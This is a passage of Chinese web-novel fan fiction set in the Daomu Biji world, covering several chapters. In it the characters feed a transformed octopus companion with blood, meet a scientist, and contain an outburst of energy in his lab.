可这跟食人花炸开似的样子，却让张祈灵将自己的指尖又往前送了送，还以为是衍卜寸刚才没吃饱。 吴峫见此，赶紧将张祈灵的手拽了回来，他终于懂黑瞎子原先在笔记里所记录的张祈灵，究竟在现实里是多么单纯的生活笨蛋了。 “卜寸不是饿了，是在说自己没想一直缠着你玩。”吴峫顺着张祈灵的手拍着，耐心的解释了一番。 耿直的一条筋的张祈灵，似懂非懂的点着头。 而众人身侧的胖子，也在这时候，提着黑瞎子还有小哥带来的鸭血以及其他的菜去厨房了。 张祈灵的视线跟随着胖子移动，准备去帮忙，结果又被吴峫给按住了，“祈灵你歇着就好，我帮胖子做菜。” 随后，吴峫又撸了一把张祈灵的头发，感受到柔软的发丝溜过指缝，才心满意足的离开。 张祈灵迟钝一拍的揉着自己的发旋，有些不理解吴峫的动作是什么意思，小哥也在旁侧趁乱摸了一把，但在迎来张祈灵懵懂的眨眼后，他直接错可脚步跑去厨房呆着了。 而黑瞎子勾笑，看着小哥略显慌张的背影，不甚在意的一屁股坐在了张祈灵的旁边，还叼着个桌上没洗的苹果就开始啃。 “想什么呢？”黑瞎子吃相豪放，嘎吱的咀嚼声还挺大，但在与张祈灵的目光对视上后，他还是收敛了几分，“哦，你是在想徒儿他们啊？这两个人做菜不需要那么多打下手，况且，你这个裹的严严实实的胳膊，小心别被吴峫当成大萝卜下锅了。” 在不远处的解雨臣正在拆箱安装椅子，所以在听到黑瞎子对张祈灵开始洗脑时，他立刻扭头，为自己的发小说了句公道话，“瞎子，你别骗小祈，我不信一个人能傻到把胳膊当萝卜。” “这不是比喻嘛！”黑瞎子不在意的摆了摆手，后来在张祈灵不曾挪开的澄澈眸子下，也知道自己理亏。 于是，黑瞎子迅速将苹果啃了个干净，然后把核往垃圾桶里一扔，直接笑眯眯的转移了话题，“既然花儿爷这么关心我，那黑爷我就来帮你吧。” 说完，他也不等解雨臣是什么想法，便直接大步蹲在了解雨臣旁边，留沙发上的张祈灵一个人，对着小豆丁衍卜寸开始大眼瞪小眼。 张祈灵不说话，衍卜寸说不了人话。 客厅里叮叮咣咣的，只有解雨臣和黑瞎子拼家具的声音。 “不是，花儿爷，咱到时候吃饭的椅子不是够了吗？怎么还要安两把。”黑瞎子将椅子拼上。 而解雨臣手上动作没停，辅助黑瞎子将其凳腿怼进凹槽里，“秀秀听说我们这里的情况，明天就到这，她还带了一个能够养章鱼的专家。” “信得过不？”黑瞎子打着钉，“咱们这情况特殊，你可得说清楚。” “既然是秀秀带来的，肯定有她自己的考量，也是信得过的人。”解雨臣抿唇，打好一把椅子后，又着手拆了另一个箱子，“而且，衍先生不能真的只靠清如小姐的经验去成长，我觉得，还是得有点科学辅助。” “因为喂血生长很离谱对吧？”黑瞎子压低了声音，“虽然有点儿成效，但还是得听听专业人士的评价，霍家那小姑娘带人来，我挺放心。” 而就在这你一言我一语结束后。 张祈灵眨巴着眼，直接在沙发上睡着了。 长久以来在墓底下的疲惫，让人一旦歇息以后，就会有种永远也睡不够的感觉。 张祈灵的头垂着，衍卜寸扒在水缸旁看着，只觉得累颈椎，于是，衍卜寸将自己的红线伸了出来，并拖着张祈灵的头和肩膀以及腰身，将人以躺姿放好。 可在不远处的解雨臣眼里，就是张祈灵直接侧倒下去了，他慌张的直接将手里的东西一丢，想去扶一把，但黑瞎子却拽住了他。 “有衍卜寸看着呢，别担心。”黑瞎子的声音很轻，眸光隐匿在墨色的镜片后，闪烁着意味不明的光亮。 而衍卜寸虽然身体很小，但敏锐度以及感知力，仍然是巅峰时期，他用红线撑起自己的身体，并在半空中与黑瞎子对视上。 解雨臣看到那漂浮着的小家伙，不知道是什么意思。 但黑瞎子却舔了舔后槽牙，这分明是衍卜寸在对其岳父挑衅。 黑瞎子有些窝闷，总觉得自己家里的白菜被猪，啊不，被章鱼拱了！ 而想通以后的黑瞎子，便立刻松开了解雨臣的手，并在解雨臣不明所以的目光中，朝着衍卜寸那边而去，一副准备教训章鱼的架势。 可厨房里隔着磨砂玻璃，瞬间在这时候，蒸腾出漂亮的朦胧艳色，这让黑瞎子回神，收敛住了对衍卜寸现今行为的不满，随即，他选择脱下自己的外套，盖在了还处于熟睡中的张祈灵身上。 张祈灵不是一个小孩，他有着成年人的身体，和还需要众人一起努力，捏出正确认知观的灵魂。 可衍卜寸却完全是反向的，他拥有着幼年的躯壳，和其成熟的内里。 所以，这样初生不久的小白猫，在碰上老谋深算千年的狐狸，让黑瞎子脑袋里的筋，不由自主狠狠跳了好几下。 “小哥，你脸红什么？”在厨房里的吴峫摘着菜，不解的看着小哥的异常模样。 而小哥原地转圈圈，像是陷入了电脑重启状态中似的，但只有他自己知道，他完全无法想象，明明同样的一张脸，张祈灵竟然能够做出那种模样的表情。 像后来在雨村收养的吴小狗一样。 拥有乖乖的，湿漉漉的，听话又柔软的，足够动人的神情。 小哥感觉心口烧的热，所以迟钝的没有立刻回答吴峫的话，只是在旋转停止后，才轻声说道，“弟弟，很好。” 而彼时，胖子正放着上好的笨猪肉入锅，瞬间炸出了火光和香味，直接掩盖了小哥刚才的话语。 吴峫不解的歪了歪头，他挪不开摘菜的手，只能用小臂的袖子擦了一把自己的耳朵，想要以此听清楚。 但半天也没迎来对方重复话语的意思，吴峫只能眨巴着眼，疑惑地追问，“小哥，你刚才说什么？” 小哥摇头，心中犯甜，不作回答，只开始帮着胖子打下手。 第270章 喂的血
第270章 喂的血 没一会儿饭菜就做好了，而张祈灵被黑瞎子拍醒后，被解雨臣拉着去洗手，收拾好了身上的武器，又试了一下恢复状况。 等转头出来的时候，张祈灵就见吴峫和胖子抬着锅出来了，而锅里头的东西，有点儿难以描述。 张祈灵装作不经意的瞄了一眼，发现那有些像何罗鱼放置已久的凝固血肉。 不同的是，它有胖子厨艺的滋养，显得热腾腾的…… “这个是可以吃的。”吴峫看出了张祈灵的顾虑，直接将人按在座位上后，将鸭血张祈灵放进碗里，又自己挖了一勺放进嘴里作表率。 而看着吴峫吃起来神情无异后，张祈灵才接受这东西能吃。 此时，吴峫察觉到张祈灵的眸光亮了几分，便拿了新勺子，准备喂到张祈灵嘴里。 结果，他转头就见张祈灵耿直低下头，用一只手握着勺子，一点点的将鸭血吃掉了。 张祈灵并不觉得有什么不对，他只是认真的对待食物而已，况且，所有的佐料和配菜的香以及鲜都完美的混合在了一起，他只觉得胖子的厨艺很好，只是口感还是很奇怪罢了。 而坐在张祈灵对面的黑瞎子，瞧着张祈灵那头次尝试新事物的模样，还有吴峫怔愣住又妥协于张祈灵的一根筋时，不由被逗的直摇头。 黑瞎子真觉得他俩的相处模式好玩，要么张祈灵落一拍，要么吴峫快半拍的，节奏还需要磨合才能到一块去。 所以，黑瞎子见缝插针，立刻起身给张祈灵夹了一筷子青菜，为表达自己的合拍，“营养均衡，多吃点儿。” 而感受到如此毫不保留得关切的张祈灵，无措的将碗往前推近了几分。 甚至当瓷片撞上电热锅的底座，发出沉闷的响后，他才反应过来，自己对这种爱，竟然自然而然的觉得，这样的自己值得这些。 与此同时，外面也传来了一阵风铃摇曳，和门铃骤响的声音。 原本松懈的张祈灵，敏锐感觉到外人到来，于是紧急偏头，放下勺子，将手摸向了自己的腰间，可那里所应对危机而藏掖的软刃，早因为刚才解雨臣带自己洗漱时，将其卸了下来。 即刻，没了武器的张祈灵就想闪身直接起来，却被同样警觉后，又了然的小哥按住。 而解雨臣摇头，无奈地去起身开门，“秀秀，你这提前的习惯还是没改。” 那原本合拢的门缝渐渐咧开，解雨臣往旁边侧了侧身，使得张祈灵的视线越过热气蒸腾的鸭血粉丝汤，从中看到了一抹来自盛夏的鲜嫩粉红。 而她并不惧生，或许这室内本就是她最为熟悉的人，小姑娘从解雨臣的身后绕出来打着招呼，身后跟着一个头发花白的男人。 “都吃上饭了？我来的很巧呀。”霍秀秀眨着水汪汪的眼，媚意从清纯的气质里油然而生。 张祈灵显然懵了，他从未在吴峫或其他人那里，听到过对面前之人的描述。 而吴峫在张祈灵的身边，很快明白了张祈灵的疑惑，便立刻解释起来，“这是霍家目前……啊，还未继任的当家人霍秀秀，也是我和小花的发小。” 时间线一推移到过去，吴峫显然没反应过来，现在的霍仙姑还未离开。 但现在的霍秀秀，显然并不懂吴峫刚才的纠结。 在过去的那些时间里，她被吴峫和解雨臣囊括在计划之中，又隔绝于张祈灵所认知范围之外，她和张祈灵一样，都是吴峫和解雨臣为了保护双方，而身处于他们塑造的信息屏障层中。 所以，霍秀秀也没有真正的见过张祈灵，只是从前些日子和解雨臣的通话中，才了解到有这么个人。 于是，她伸出纤白晃眼的手，友好的笑着，“您好，我是霍秀秀，你是张祈灵吗？我很早就听说过你了，只是一直没有缘分见到，很高兴认识你。” 张祈灵迟钝了一秒钟，才将自己完好的手搭在了这个古灵精怪的女孩掌心中，对方并没有任何生疏的回握，而笑着的时候，那脸庞上的温柔，像是要将人溺进去。 他不知道该怎么回应这样性格的人带来的热烈。 所以，张祈灵半晌只点头憋出了个嗯。 精通驭人之术的霍秀秀，能够很好懂得张祈灵明显表露出来的腼腆。 所以她并没有去计较，只是在下一刻，将视线从那鸭血粉丝汤还有各种食物上移动，然后困惑的叉着腰，“不是，那个衍小章鱼呢？你们是下锅给他炖了吗？” 张祈灵听了这话，觉得有些伤小章鱼的心，于是挪了挪身子，将后头茶几上的衍卜寸给挡住了。 看到张祈灵这个反应的解雨臣，深知霍秀秀并没有恶意，便拍了拍她的肩，示意其不要着急后，又将新安的两把椅子拽了过来，“衍先生在休息，我们刚才给他喂了食物，要不你和那个研究章鱼的前辈先坐下来吃饭吧。” 霍秀秀好奇心强，就是忍不住的想看看衍卜寸是何方神圣，眼睛都要转出花来了。 “谢谢小花哥哥，那渡先生您先坐下吧。”霍秀秀示意渡荆坐着，随后，视线还是处于乱瞟中。 直到她看到那个水缸，才心满意足的彻底罢休，开始吃饭。 “他情况怎么样？你们喂了什么东西啊，效果这么好，还能让章鱼形态的他睡着？”霍秀秀将嘴里的排骨咽下去后说道。 吴峫给她熟练的夹着菜，“喂的血。” “咳咳咳……”霍秀秀听了一下子呛住，“吴峫哥哥，你认真的？” 说实话，在霍秀秀听说有人能够返老还童，从人变成章鱼就已经很令人瞠目结舌了，到现在，吴峫竟然说，衍卜寸的食物竟然是血，这是误入了什么吸血鬼日记拍摄现场了吗？ 解雨臣无奈的摇头，给霍秀秀递了纸，在确认霍秀秀对渡荆态度很好，将其当作自己人后，才说道，“目前的情况，就是吴峫说的这样，衍先生为了保持身体机能的正常运转，需要摄入一定量的麒麟血，不过所需不多，所以……我们还是希望渡先生，能够帮忙看看。” 喜欢盗墓青铜门之双生请大家收藏：()盗墓青铜门之双生更新速度全网最快。 第271章 求偶
第271章 求偶 渡荆吃了一点后，便慢条斯理的用纸巾擦着自己的嘴，然后才回复了解雨臣的话，“好，我现在去看一下。” 随后，他就起身去见了衍卜寸。 “秀秀姑娘，这渡先生你是从哪拉来的啊，瞧着就文质彬彬的，像科学院里出来的。”胖子扒着饭，但其实一直都在注意着渡荆的动向。 渡荆这个男人，看起来四十岁左右，穿的一身淡色的蓝衫，不像是经常在九门里游走的人，没有那种下过斗的凶煞气，任胖子铆足了劲去嗅，都觉察不出这家伙是哪条道上来的。 霍秀秀微转了半个身子，然后才站起来，“我透露给心腹，自己需要找到海洋生物专家的人后，霍道夫就联系了我，其实，渡荆先生算是他介绍来的。” “这时候的霍道夫，还没完全脱离霍家，所以藕断丝连也正常。”吴峫点头，但又再度发出疑问，“秀秀，那这渡先生的具体情况你了解过吗？” 在不远处俯身的渡荆，看着水箱里的小章鱼衍卜寸，也在睁开眼同自己对视。 他并非听不见吴峫等人的那些疑问，只是由自我研究的习惯，导致他对自己所感兴趣之物，才会观察的细致入微。 等判断完衍卜寸的情况以后，他才扭过头，摩挲着自己的指尖，紧接着回复大家的疑问。 “我是主动联系的霍道夫，因为我参与过吴三省海底墓外部判断的实验人员，也是从天子脚下，爬着活过来的衍家旁支。”渡荆又偏头看了一眼衍卜寸，“更准确来说，我和他是同类，所以察觉到铜门碎裂后，我就主动找上了你们。不过，他目前的情况并不稳定。” “你说的是什么意思？”黑瞎子撂下筷子，他就知道这种说话云里雾里的家伙，和鄢啸南一个样，每次就会讲一半，惹的人心烦。 但渡荆并没有因为黑瞎子的态度而感到生气，他只是走了几步，重新回到大家的面前，然后道，“我知道衍卜寸的存在，但他的一些事，我并不清楚，而那家伙赋予我的鉴定能力也被收回了，我只能凭感觉，判断出衍卜寸身上有异常能量波动。” 张祈灵看着渡荆说出这些话，了然知道这是烛龙消失后的结果，可衍卜寸又会出什么情况呢？ “他，能量？”张祈灵歪头，不解的出声。 渡荆从他不甚明朗的几个字里，大约摸懂了意思，于是打了个比方，“人有自己的能量系统，那就是血液循环，而我们经由它培养过的衍家人，则会拥有一定程度的超自然力量，例如，由灵魂或血液，织出独一无二的红线。 但我所说的异常能量波动，并不是这些本身在成长经历里，就存在于体内的东西。” 说到此处，渡荆的神情变得严肃，“更简单来说，衍卜寸的身上有陨铜，还是世界上，最后一块陨铜。” 小哥接收了完整的信息量后，摇头否定。 “两块。”小哥这么说着。 其实这个原理很好懂，不过就是创造出的东西，如果没有被收回，就是因为长久以来的嵌合而深入其血肉罢了。 吴峫作为读哥机，很快清楚小哥嘴里头的意思，“渡先生，小哥刚才说的话，是指现今还没有被收回的陨铜，有可能是两个，卜寸是被创造的，而我旁边的祈灵也是，所以，卜寸不是特例，但这陨铜对他们的身体有影响……是指必须要拔除吗？” 思量了一下的渡荆，郑重的摇头。 “我的直觉告诉我，您身边的祈灵的能量很稳定，如果您怕我判断失误的话，我也把自己的仪器空运过来了，这几年来，我都在做何罗鱼以及陨铜的研究…… 至于衍卜寸，他身上的波动实在不符合常理，您说的祈灵，是历代张启灵的物质化产物吧？他存在于身体内的麒麟血，会给他磅礴的生机，所以这才能与陨铜进行抗衡。 而陨铜本身的能力，永远都是吸收，现在的衍卜寸没有自主产生能量的能力，他需要外部麒麟血的介入才能维持生命体征，这其实就是入不敷出了，所以，我会研究出能拔除他体内陨铜的方法。” 吴峫听到同伴的生命倒计时，自然心里紧张，过去的衍卜寸不在乎这些，可现今作为家人的自己，不可能见证着他去死。 “好，麻烦渡先生了。”吴峫敛着动荡不安的神情。 而位于身侧的张祈灵，敏锐的察觉出了吴峫的异样，于是学着大家的模样，轻拍着他的肩膀，示意他不要想太多。 这顿饭后，解雨臣还有黑瞎子等人，给渡荆腾了一个房间来安装实验仪器，衍卜寸的治疗马不停蹄的赶上日程。 张祈灵和小哥轮流用血养着衍卜寸，不过，不知道是物质化的效果，还是别的原因，陨铜似乎更喜欢张祈灵鲜血的味道，所以每次张祈灵投喂时，衍卜寸总会更有生机一些。 而今天，已经是张祈灵第二十七次见衍卜寸了。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！躺在水箱里的衍卜寸，大多数时间都是在休眠状态，而渡荆却忙的不可开交，陨铜的产生，需要强大的化学和物理以及数学知识。 多年来，渡荆也只不过得到了一块微小的陨铜，所以面对着衍卜寸这样，一个活生生将陨铜存于体内的情况，真是头一例。 看不懂渡荆复杂的操作，也习惯其渡荆冷漠的张祈灵，只能拉一把椅子，坐在旁边，等着渡荆闲下来后给自己提取血液喂养衍卜寸。 但在水缸里见到张祈灵的衍卜寸，很快便自主兴奋了起来，他的触手粘在内壁上，朝着张祈灵这块扒了过来，圆溜溜的眼睛一刻不停的盯着张祈灵，瞧得耿直的张祈灵有些担忧。 是眼睛出问题了吗？怎么瞪的这么大…… 小小的衍卜寸不懂张祈灵的纠结，只是挪着自己，恨不得越出水面，与张祈灵来个亲密接触，想要贴贴的欲望攀至高峰，让人根本无法忽视。 “他饿。”张祈灵见着衍卜寸那跟狗看骨头的饥渴模样，还以为他真的是饿坏了，便立刻戳了戳渡荆的肩膀，示意这个投身于实验中的人赶紧回神。 渡荆感受到张祈灵的力道，于是放下工具，多年的经验让他在看了一眼衍卜寸后，直接评价道，“不是饿了，他这是在求偶。” 求偶…… 张祈灵消化了一下渡荆的话，但却没搞懂，于是他又用指尖点了点渡荆。 “要……玩偶？”张祈灵甚至还比了个小小的手势，示意小章鱼要多大的才能够合适。 这动作看的渡荆直摇头，“小孩听不懂就算了，我现在开始提血，弄完你就出去休息吧。” 喜欢盗墓青铜门之双生请大家收藏：()盗墓青铜门之双生更新速度全网最快。 第272章 溢光
第272章 溢光 渡荆将注射器消毒后，刺入张祈灵的皮下血管中，但他不懂，自己这些日子里已经很注意的避开原本的针眼，不那么密集的落点，可张祈灵的手臂内侧，仍然会呈现出一种青紫。 中年男人抬起自己已有风霜的眼皮，久久注视着张祈灵，可对面之人，似乎太过于习惯疼，所以在面对这样微小程度的刺痛，并没有太大的情绪起伏变化。 而外头的吴峫和胖子正搬着凳子，为了假装不经意的探听，便坐在门口开始削中午要吃的土豆。 可此间思绪翻飞，压不住好奇心，两人的注意力自然全在后头渡荆的实验室里。 “祈灵今天进去的时间有点长了吧。”吴峫狠狠的将手中的土豆干成了尖下巴。 而胖子因为手上功夫娴熟，直接将浑圆的土豆削的更加光滑了，“天真啊，我知道你最近因为小哥还有祈灵小兄弟献血的事放不下心，但通过这几天的相处，我看渡荆那家伙要真是坏玩意，那早把人霍霍完了……” 同解雨臣买完菜的黑瞎子，正拎着袋子进来，一眼便到了吴峫和胖子疑神疑鬼的模样，于是直接换鞋，迈着大长腿，将东西一撂便越过吴峫还有胖子，去敲了渡荆的门。 “渡荆，祈抽个血要那么长时间吗？”黑瞎子拍门板的咣咣响。 其实，黑瞎子对渡荆的印象其实不算特别差，只是现今吴峫和胖子，明明心中焦灼，但非得讲那文化人的调子，实属让自己看的干着急。 索性黑瞎子便直接来问了，他认为这粗鲁的行动，总比吴峫和胖子那里自我消化和揣测要好得多。 而渡荆将衍卜寸摄入的剂量抽好后，便用止血棉给张祈灵压好针眼，等两分钟后，他又从兜里攥了一把糖出来，跟真的哄孩子似的，直接搁在了张祈灵的衣兜里，“拿去吃补一补，最近衍卜寸的食量增加了，我就多抽了些，别晕了。” 张祈灵点了点头，便将袖子顺了下来，看着渡荆将注射器的针管塞上软胶，随后放入水中，衍卜寸自觉的嘬了上去，小章鱼喝的身体一鼓鼓的开始变深，直到变得鲜红。 可突然之间，有什么东西晃了一下张祈灵的视线，他搓了把眼眶后，却感受到了朦胧的强光。 “渡……”张祈灵想唤那个老者的名字。 却突然听到身后传来了轰然巨响，而温暖的臂弯，将自己直接环抱在了怀中。 黑瞎子的声音急的要命，并且吼在张祈灵脑瓜上放，有些嗡嗡的，“我早说了，不要把这间实验室做的那么隔音！一直不回话，急的要命死了！祈，你没事吧？” 缓过神的张祈灵摇了摇头，随后便浅浅推开黑瞎子，他只觉得对方这一身热血，烫的让人有点难受。 但等张祈灵的视线，重新回到衍卜寸的水缸时，就知道刚才的强光，绝对是衍卜寸弄出来的。 因为渡荆已经将这几天制作的隔绝罩，扣在了水缸上，他的整个身体甚至都在压制着其中光线射出。 渡荆的身形不算魁梧，便立刻叫道，“来个人，帮我压着！衍卜寸今天的状态不对，陨铜竟然产生了溢光反应！” 在黑瞎子背后的小哥，立刻冲上去帮忙按住，而吴峫见形势不妙，也赶紧和胖子放下土豆扣着隔离罩。 “不是，光抵着不让光泄出来，那卜寸小同志怎么办？！”胖子刚一搭上去，就感受到了里头衍卜寸横冲直撞带来的震动。 而渡荆听了胖子的话，却立刻压住了对方即将脱离开的手，“你要相信何罗鱼的重组能力，如果不是麒麟血带来的火，或者是爆炸性的伤害，他都不会死，他是这个世界上最超然的生物，更何况，那个陨铜为了自己生存，也肯定不会让宿主在自己之前死。” “话是这么讲，但衍卜寸算是被激光射穿一样吧！这怎么能忍下去，就没有缓解，或者让陨铜稳定下来的办法吗？！”一直保持温柔态度的吴峫，终于在此刻爆发了。 他不会去想渡荆是庸医，毕竟这些天里，渡荆的努力与日夜钻研，那都是有目共睹，吴峫只是气不过衍卜寸现在的一切，都需要他自己一个人去克服，而自己什么忙也帮不上。 吴峫痛恨自己有这样年轻的身体，和绝对熟稔一切事物的经验，十年前的自己和十年后的自己重叠，却仍然救不了一个兄弟的命。 “渡荆！小花给你钱了，但我还有吴山居，我可以把里面的一切都给你，不过衍卜寸不能这么活生生的被折磨，他不是实验品，不是何罗鱼，他是我们生死与共的兄弟！我不承认什么章鱼重组的结论，也不想看那付出惨痛代价的进化！”吴峫红着一双眼，忍住心中涛涌的愤怒，把自己所拥有的一切都腾了出来。 而张祈灵并不参与吴峫与渡荆之间的谈话，专业名词他是一知半解，于是，他只是走近，示意小哥将那倒扣的隔绝罩抬起来。 对视之间，小哥自然清楚他的意思。 在直觉上张祈灵与小哥从未出错。 于是遮罩掀开的一瞬间，渡荆还来不及阻止，就见刺眼的光照亮了整个空间，而下一刻，黏腻的声音从四面八方传来。 张祈灵努力睁开眼，却感觉那原本颤动的线，突然从自己的肩膀溜下去了，而上面所带着的液体，也落在了地上，在自己的脚边聚成一摊。 “能听到我说话吗？”胖子摸着自己的眼睛，但感觉周围白茫茫的，于是他试探性的探身，后颈却被一道苍劲有力的手给揪住。 小哥的声音很轻，但是很有辨识度，“别动。” 这一个命令，让胖子咽了咽口水，然后顿住了自己所有的动作，并靠着小哥的力道站的笔直。 而门外的解雨臣，听到了他们的声音，想冲进去，却见被黑瞎子踹开的大门已然变成了被网线层层束缚，压根窥不见其内部的屏障，解雨臣赶紧拿着厨房的菜刀去砍，结果竟是纹丝不动。 解雨臣没有停下动作，甚至是用火烧了一遍，待霍秀秀也从外头回来后，他们才彻底明白，渡荆的实验室，是真的成了一间密室。 喜欢盗墓青铜门之双生请大家收藏：()盗墓青铜门之双生更新速度全网最快。 第273章 饿死总比撑死强 “是能量暴走。”渡荆的声音有些模糊，论张祈灵如何认真去听，也觉得隔了层朦胧的屏障一样。 但好在，因为刚才压住隔离罩，所以小哥等人在张祈灵的身侧，于是张祈灵伸手一碰，便扯到了吴峫和胖子的位置。 黑瞎子有力自保，便只是待在原地，扒着怀中的墨镜，试探性的挥了挥，确认自己周边有什么事物，等触碰到红线之际，他的动作才停顿下来，形象的比喻起来，“这能量暴走，是将咱们当成猎物缠起来了吧？周围都是蜘蛛网。” “也可能是防御机制。”吴峫感受到张祈灵拽住袖口的力道，于是顺着那个方向拍了拍对方的手背，紧接着继续问道，“渡先生，这个溢光现象是要等能量自我消耗后停止吗？” “天真啊，我觉得咱们首要任务，是要先找卜寸小兄弟。”胖子的手胡乱摸着渡荆的工作台，可却无法从那些碎片中找到衍卜寸的踪迹。 小哥在一旁敏锐察觉到了胖子的不安，于是立刻抓住他的手腕，示意对方再去摸索可能会伤害自己，“别动。” “不动如山也不是个办法吧。”胖子嘴上这么说，但还是将手抽了回来。 而张祈灵，则用指尖碰了碰围绕在周围的那些线，再次确认对方并没有任何的动静后，才提醒道，“不攻击。” 虽然目前的衍卜寸，可能处于被陨铜的控制当中，但显然还是有些本能意识的，且并不会被完全俘虏，更甚是拥有拥护的打算，所以张祈灵并没有将这个状态下的衍卜寸，列为危险元素。 渡荆则趁此机会，按照对实验室的熟悉感，去拿了他最近制作的稳定剂，等将试管里的药液推进注射器后，他开口，给了大家一个准信儿。 “现在你们需要在全盲的状态中，找到衍卜寸的位置，他的溢光现象，我目前并没有完全的解决方法，但是，我可以让它体内的陨铜减少一定的活性，只要你们能按住他，我将稳定剂注射进去后，他的状况就能缓解。”渡荆感觉自己这段话用通俗易懂的方法，流利的说完以后，马上就要背过气去了。 黑瞎子听到他的喘息声，算不得温柔的给他来了两巴掌顺顺背，动作粗暴的像在徇私报复，“得令，渡荆门送别老登你就待着吧。” “哈？”渡荆总感觉黑瞎子的话语里头飘过了什么令人火大的东西。 可等渡荆想要对黑瞎子来顿训斥，就听身侧人一溜烟就飞出去了，而且还在边跑边解释。 “我听到位置了！你待着，让我们来就行了！”黑瞎子这番话说的，好像多体谅渡荆，有多情深义重到舍不得他累着似的。 渡荆嘴角抽了抽，并不理解的在心里骂了句毛孩子。 结果，还没等他喘匀气，就感觉自己的胳膊被撞了一下，张祈灵拽着嘴里充满歉意的吴峫，像一阵风般同样掠过了自己身边。 而吴峫的声音，还在跟随黑瞎子刚才去的方向拉远，“真的对不起渡先生！我们是去帮忙的！” “真是鸡飞狗跳……”渡荆扶着额头，结果下一秒他就被又撞成了托马斯旋转。 等站稳后，渡荆就听到被小哥拉飞的胖子，正大咧咧的扯着嗓子道歉，“对不住！真对不住！人多力量大，情急之下就碰到您了！” “没事没事……”渡荆无奈，揉着自己被创的钝痛的双臂。 但等下一刻，渡荆就感觉自己的脚上扒上了一个物体，而他低头等意识到这是什么东西的时候，那家伙已经顺着自己的裤脚开始往上攀了。 渡荆翻了个白眼，将衍卜寸从自己身上扯下来，气的发抖，直接动起狮吼功，“你们他妈去哪抓的人！衍卜寸在我这边动呢！长俩耳朵听的都是什么动静！” 在门口处的黑瞎子，正在努力从内部开劈红线，一本正经的砍伐下，随即还是憋笑到肚子疼的直不起身，“我说找到位置，也没说找到的是衍卜寸的位置啊！” 跟着黑瞎子来的小哥闭眼歪了歪头，张祈灵也无措的捏了捏吴峫的手。 而胖子也入了黑瞎子的套路，气鼓鼓的直跺脚，指着黑瞎子的鼻子，冲着对方不知道哪个位置就开始骂，“我靠了，你这时候开什么玩笑啊！衍卜寸最重要啊！” “我知道啊，这不是想着你们处理正好，我听到花儿爷的动静来撬门吗？谁能想到，你们挨个都跟来了。”黑瞎子的匕首磨的锋利，而且内部瓦解的速度实属是比外面快的多。 解雨臣也察觉到了黑瞎子的动静，开始试图推开屏障，“你们现在都安全是吗？” “吴峫哥哥，你们没事吧！我和小花哥哥这边也在砍，估计很快就能开了！”霍秀秀下刀的动作很是利落，一人负责半块门，效率别提多高了。 而在外面种好中药材的清如，不解的用湿巾先擦了一遍沾土的手，并不理解的拆台，“用菜刀砍很慢的。” 霍秀秀转过头，就见到了这个在餐桌上不怎么说话的女人，结果对方却压下了自己的手，将那豁口的菜刀扔到了旁边，紧接着，指尖轻轻点在门上，一股常人看不见的无形红线，顺着她的血管，冲出皮肤。 两股力量交织了一下后，仿佛正在交流，而渡荆那边的镇定剂也注入了进去，衍卜寸所筑成的堡垒瞬间崩塌。 解雨臣的眸子，也因为强光而有一刹那的失神，等到他搓了一把，等光线泯灭之后，白炽灯重新回归，抬眼之际，就见到乌泱泱一群人堵在门口。 “衍先生呢？”解雨臣探头，而众人让道。 渡荆正抱着谢水缸，将衍卜寸放进去，但张祈灵转头，就见衍卜寸已经又成为卵了，他蹙眉，有些担忧于现在对方的状态。 哼哧哼哧的渡荆给自己抹了把额头上的汗，将滞空的注射器丢进垃圾桶，“情况稳定下来了，就是能量耗尽，衍卜寸也缩水了，估计得一直保持正常摄入血液，不能因为他想多吃一些而增大剂量了。” “只是这个问题吗？”胖子摸了摸自己的肚子，“可吃不饱真挺难受吧，一天饿九顿，谁受的了。” “饿着总比撑死强。”黑瞎子甩了甩自己刚才砍线已经震得发麻的手，这么评价道。 第274章 盘核桃 张祈灵向前走了几步，看着水缸里形若核桃的衍卜寸，无措的歪了头去观察，而现在的衍卜寸，似乎对自己并没有太大的反应了。 他幽深的眸子专注的看着，直到渡荆察觉到张祈灵入了神，便立刻将衍卜寸放置在实验台的无菌处。 “帮我打扫一下卫生可以吗？麻烦了。”渡荆笑眯眯的，只对着张祈灵说道。 张祈灵并未多想，而在场人也敏锐的看出了渡荆赶人的意思。 在不远处的黑瞎子搓了一把手，才忍住没拉扯着张祈灵离场，渡荆这老家伙懂得多，也许很多涉及衍卜寸的事，他会和张祈灵这个有直接联系的人说的多也是合理。 不过，黑瞎子作为看着张祈灵长大的其中一员，总觉得每次自家孩子都在被猪拱的路上，而且这猪一个个都是僵尸肉，风干了一千多年膈应人。 “自己注意一些，别太累到。”黑瞎子拨开众人，轻点着张祈灵完好的那侧臂膀，“用这只手，另外的不许动。” 张祈灵不解于黑瞎子弱智一般的提醒，但还是礼貌的点了点头，而吴峫却同黑瞎子对渡荆留人的态度不一样，吴峫闪身，拽开了黑瞎子和张祈灵，整个人挤到了中间。 他亏欠张祈灵的太多，又怎么舍得他真去干什么活，或者是从渡荆的嘴里，去背负更多的真相。 吴峫拽紧张祈灵的袖口，却没有任何扭捏的姿态，他与张祈灵漆黑的瞳眸相对，不再回避，灼热的烫人，“我陪你一起，我们都在你身边，打扫我来就好了。” 说完，吴峫便跑出去，胖子去追，小哥撵着跑，紧接着，他们便马不停蹄的提着抹布、扫帚还有拖把就回来了，甚至小哥头上还顶了个淘水的盆。 张祈灵不解的歪头，论地上脏污，也就只有衍卜寸刚才失控之下，从红线里淌出的红褐色粘液吧？ 需要这么多人来帮忙吗…… “行，我知道你们的态度了，既然想跟着赖在这里，那就都给我清理了。”渡荆是真的会克扣劳动力。 而此话一出，胖子那自我服从的劲儿与被命令的叛逆对抗了一下，随后将拖把直接甩在了渡荆的鞋上，“刚才没找到卜寸小同志，是我们的错，但你这样发布任务，让还没有休息好的祈灵小兄弟来帮忙，是不是有点儿强人所难了？你屁股憋不住屎，嘴也把不住门吗？” “胖子！”吴峫赶紧捂住话开始有些难听，为张祈灵耿直打抱不平的胖子。 并且，他生怕渡荆会翻脸，赶紧替胖子找补，“他不是这个意思，渡先生，我认为卜寸的情况没有什么好隐瞒的，毕竟我们是家人，而且，我们也愿意尝试，胖子只是关心兄弟，情急之下才会如此说，并不是故意针对您。” 听了吴峫的话，胖子唔的叫了半天，直到小哥示意吴峫挪开手，缓解气头的胖子才将手中的拖把跺了跺，“天真说的，代表的就是我的意思，而且都是一个家门里的人，低头不见抬头见的，敞开天窗说亮话！对咱们都好。” “那我就说了。”渡荆指着水缸，“衍卜寸现在需要少量多次的进食麒麟血，以保证他体内的能量，不会超过阈值，来打破陨铜的平衡，所以，我刚计算了一下……” 